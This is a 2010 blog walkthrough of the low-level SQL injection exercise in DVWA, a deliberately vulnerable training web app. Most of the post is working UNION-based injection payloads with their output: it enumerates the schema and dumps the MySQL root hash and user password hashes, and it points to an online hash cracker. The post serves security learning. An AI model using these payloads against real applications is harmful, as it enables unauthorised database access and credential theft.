SQL Injection DVWA

June 11, 2010 at 9:19 pm (PHP, Programming, Security, SQL, SQL Injection)

Hey,

So there are 3 SQL Injection levels on the Damn Vulnerable Web Application (Low, Medium and High). In this post I will explain how to defeat the low level, let’s take a look at the code first:

<?php

if(isset($_GET['Submit'])){

// Retrieve data

// ERROR: PHP Notice: Undefined index: id
$id=$_GET['id'];

$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num=mysql_numrows($result);

$i=0;

while ($i < $num) {

$first=mysql_result($result,$i,"first_name");
$last=mysql_result($result,$i,"last_name");

echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';

$i++;
}
}
?>

So the above code is vulnerable to SQL Injection, let’s take a closer look at the following snippet:

$id=$_GET['id'];
$getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";

As you can see there is no sanitization used, the variable is simply inserted straight into the SQL query. This is the most basic type of SQL Injection you may come across. Let’s confirm it is definatley vulnerable to SQL Injection:

UserID: '

The page returned spits out the following error message:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

This confirms to us it is vulnerable to SQL Injection, first thing to do is find out how many columns there are:

UserID: ' ORDER BY 1--
UserID: ' ORDER BY 2--

These simply return the same page…

UserID: ' ORDER BY 3--

Then this gives us an invaluable error message:

Unknown column '3' in 'order clause'

What does this tell us? Well it tells us that there are two columns, which are obviously the first_name and last_name columns as when you pass the UserID: form a valid User ID (1) for example you get this:

ID: 1
First name: admin
Surname: admin

Right, now its time to find out the database name, table name, column name and anything else useful and interesting. First thing first let’s find out the database version:

ID: ' union all select 1,@@VERSION--
First name: 1
Surname: 5.1.37-1ubuntu5.1

So it is using MySQL 5.1.37-1 on Ubuntu. Lets find the user the database is running as and the name of the database we are dealing with:

ID: ' union all select user(),database()--
First name: root@localhost
Surname: dvwa

Ok so the user is root (awesome!!) and the database we are concerned with is ‘dvwa’ ;-) Right OK, since the user is root let’s see what we can gleam:

ID: ' union all select user,password from mysql.user--
First name: root
Surname: *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC
ID: ' union all select user,password from mysql.user--
First name: root
Surname: *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC
ID: ' union all select user,password from mysql.user--
First name: root
Surname: *263027ECC84AA7B81EA86B0EBECAFE20BC8804FC
ID: ' union all select user,password from mysql.user--
First name: debian-sys-maint
Surname: *65BFD4D79D51FF884D573209BC7DE1D1A3D0AA4E

Wow! We got the root passord hash :-) So as you can see because the application is using the root user, we can pretty much own the whole system from here. However I will focus on the DVWA level :-) So, we know the database name is dvwa, and the columns are first_name and last_name. Let’s find out the table name:

ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: CHARACTER_SETS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLLATIONS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLLATION_CHARACTER_SET_APPLICABILITY
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLUMNS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: COLUMN_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: ENGINES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: EVENTS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: FILES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: GLOBAL_STATUS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: GLOBAL_VARIABLES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: KEY_COLUMN_USAGE
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PARTITIONS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PLUGINS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PROCESSLIST
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: PROFILING
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: REFERENTIAL_CONSTRAINTS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: ROUTINES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SCHEMATA
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SCHEMA_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SESSION_STATUS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: SESSION_VARIABLES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: STATISTICS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TABLES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TABLE_CONSTRAINTS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TABLE_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: TRIGGERS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: USER_PRIVILEGES
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: VIEWS
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: guestbook
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: users
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: columns_priv
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: db
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: event
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: func
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: general_log
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_category
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_keyword
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_relation
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: help_topic
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: host
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: ndb_binlog_index
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: plugin
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: proc
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: procs_priv
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: servers
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: slow_log
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: tables_priv
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_leap_second
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_name
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_transition
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: time_zone_transition_type
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables--
First name: user
Surname: ޭ��

Bingo, we got all the tables from information_schema.tables :-) , so we can hazard a guess that the two tables in the ‘dvwa’ database are; users and guestbook. Before I move on an finish this level, I want to show you some other ways to grab databases, tables and columns:

ID: ' union select group_concat(schema_name),2 from information_schema.schemata--
First name: information_schema,dvwa,mysql
Surname: 2

Or:

ID: ' union all select schema_name,0xdeadbeef from information_schema.schemata--
First name: information_schema
Surname: ޭ��
ID: ' union all select schema_name,0xdeadbeef from information_schema.schemata--
First name: dvwa
Surname: ޭ��
ID: ' union all select schema_name,0xdeadbeef from information_schema.schemata--
First name: mysql
Surname: ޭ��

Also I might as well mention the other way to find the tables too:

ID: ' union all select table_name,0xdeadbeef from information_schema.tables where table_schema=database()--
First name: guestbook
Surname: ޭ��
ID: ' union all select table_name,0xdeadbeef from information_schema.tables where table_schema=database()--
First name: users
Surname: ޭ��

Right so back to it, recap; we know the database name is dvwa and we have two tables users and guestbook. Last crucial bit of information is the column names, lets grab them:

ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: comment_id
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: comment
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: name
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: user_id
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: first_name
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: last_name
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: user
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: password
Surname: ޭ��
ID: ' union all select column_name,0xdeadbeef from information_schema.columns where table_schema=database()--
First name: avatar
Surname: ޭ��

Ok so we have everything we need now, lets get all the usernames and password hashes for this level:

ID: ' union all select user, password from dvwa.users--
First name: admin
Surname: bf03145925aadc81e733e788aaa58fe3
ID: ' union all select user, password from dvwa.users--
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: ' union all select user, password from dvwa.users--
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: ' union all select user, password from dvwa.users--
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: ' union all select user, password from dvwa.users--
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Jon done :-) Just to put this into perspective, if you goto Milw0rm, Click on the cracker link and you can sumbit your hash to see if its already been cracked, take the user ‘gordonb’ for example:

-::TYPE -::HASH -::PASS -::STATUS
md5 e99a18c428cb38d5f260853678922e03 abc123 cracked

My next post will explain how to beat it on Medium difficulty and then to talk about the High difficulty level. So until the next time…

6 Comments

  1. sql injection said,

    nice info thx

  2. Thiago said,

    This commentary “–” doesn’t work with my sql.

  3. Thiago said,

    this works with me: ‘union all select user(),database() #
    =D

    • 0xzoidberg said,

      The comment ‘–’ works with MySQL. You can see this from the initial posts. Also look at this:

      mysql> select * from users –;
      Empty set (0.00 sec)

      mysql>

      - zoidberg

  4. evil0xa said,

    good job

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.